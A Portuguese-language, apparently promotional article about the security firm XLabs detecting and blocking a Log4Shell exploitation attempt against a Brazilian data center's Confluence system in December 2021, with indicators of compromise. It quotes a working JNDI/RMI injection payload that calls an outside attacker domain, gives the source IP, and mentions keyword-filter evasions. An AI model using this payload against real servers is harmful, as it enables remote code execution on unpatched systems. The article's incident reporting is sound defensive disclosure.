XLabs esteve de olho na crise do Log4J desde o começo. Foto: Pexels.
A XLabs, uma empresa de cibersegurança gaúcha, deteve um ataque a um dos maiores data centers do Brasil, no qual hackers tentaram se aproveitar da falha no aplicativo Log4J da Apache.
O ataque aconteceu no dia 9 de dezembro de 2021, a mesma data na qual o time de segurança da gigante Alibaba divulgou a falha, batizada de Log4Shell.
A falha, que afeta versões inferiores a 2.15.0 do aplicativo Log4J da Apache, viabiliza uma espécie de injeção JNDI carregando parâmetros LDAP de um possível invasor, o que pode causar até mesmo execução de comandos dentro das plataformas afetadas.
Nos dias seguintes, se tornou clara a dimensão do problema, classificado pela própria Apache Foundation como de severidade 10, o grau máximo da escala CVSS e apontado como especialistas como a falha de segurança mais grave da década.
O ataque detectado pela XLabs foi oriundo da China e outros países asiáticos, sendo direcionado contra a aplicação de colaboração de equipes Confluence da Atlassian, uma das líderes desse mercado.
A própria Atlassian só comunicou que a solução estava vulnerável à execução de comandos remotamente através da falha Log4Shell em 21 de dezembro, quase duas semanas depois do início da crise.
Na avaliação da Xlabs, a data e o fato dos autores do ataque estarem mirando no Confluence antes da vulnerabilidade do sistema se tornar pública levam a crer que o cliente estava na mira de especialistas de alto nível, provavelmente patrocinados pelo governo chinês.
O IP de origem do ataque foi 114.254.20.186 de Beijing, China, e teve padrões de injeções RMI, outro padrão de verificação da falha diferente da exploração por LDAP.
O Payload utilizado foram variações do tipo: “${jndi:rmi://XXXX.l.i.yunzhanghu.co:443/abc}”, usando o domínio “yunzhanghu.co”, registrado em 15 de Junho de 2020, e muito pouco conhecido por atividades maliciosas na internet, outra razão que leva a XLabs a crer que se trata de um ataque muito bem direcionado.
As informações são oriundas de consultas a plataformas de IOC’s, como Vírus Total, Cisco Umbrella e demais outras plataformas para rastreios de atividades ilegais na internet às quais a XLabs possui o.
O grande data center não foi o único cliente no qual a XLabs detectou atividade relacionada com a falha do Log4J.
A XLabs identificou muitas variações da exploração da vulnerabilidade, incluindo atacantes concatenando strings para formar a palavra JNDI, ou LDAP, que foram as primeiras palavras adicionadas em mecanismos de defesa como principais s dos ataques.
A falha do Log4J é uma situação de Zero Day, na qual é detectada uma vulnerabilidade desconhecida pelos interessados, para a qual não existe um patch naquele momento.
É uma das situações mais perigosas do ponto de vista de segurança da informação, agravada nesse caso pelo fato do Log4J ser um dos principais frameworks de logging do Java, que por sua vez é uma das plataformas mais difundidas no mundo.
A XLabs conseguiu agir tão rapidamente no episódio porque o seu Web Application Firewall (WAF) identifica os padrões fora do normal de uma requisição HTTP, o que se aplica para as requisições de exploração do Log4Shell (experimente uma versão gratuita de avaliação por 15 dias).
Assim, a XLabs consegue identificar e mitigar os ataques sem ao menos lançar s para a detecção da falha.
Já no dia seguinte à divulgação da falha do Log4J, a XLabs começou com estudos para a manufatura de uma para a mitigação da falha e também para as suas variações e tentativas de By, lançadas já em 10 de dezembro.
Nos dias seguintes à divulgação do patch da falha, surgiram outras fragilidades no Log4J que até mesmo podem ocasionar a paralisação de sistemas através de um “DoS”.
No dia 20 de dezembro, a XLabs já tinha uma base de dados sólida dos ataques, o que permitiu à empresa focar na questão cognitiva do seu WAF, ensinando a aplicação a identificar e barrar requisições maliciosas por meio de bloqueios dinâmicos às origens desses ataques.
Ainda durante o dia 20 de dezembro, a XLabs concluiu a aplicação de melhorias no WAF, aplicando diversas melhorias na plataforma, incluindo a distribuição de blacklists dinâmicas entre os próprios WAF’s, aprimorando a performance nos bloqueios de ataques.
O gráfico abaixo mostra a quantidade de requisições chegando aos clientes da XLabs nos dias que seguiram a divulgação da falha. Após o dia 20 de dezembro, as requisições começaram a reduzir e serem suprimidas pelo sistema de inteligência da empresa.
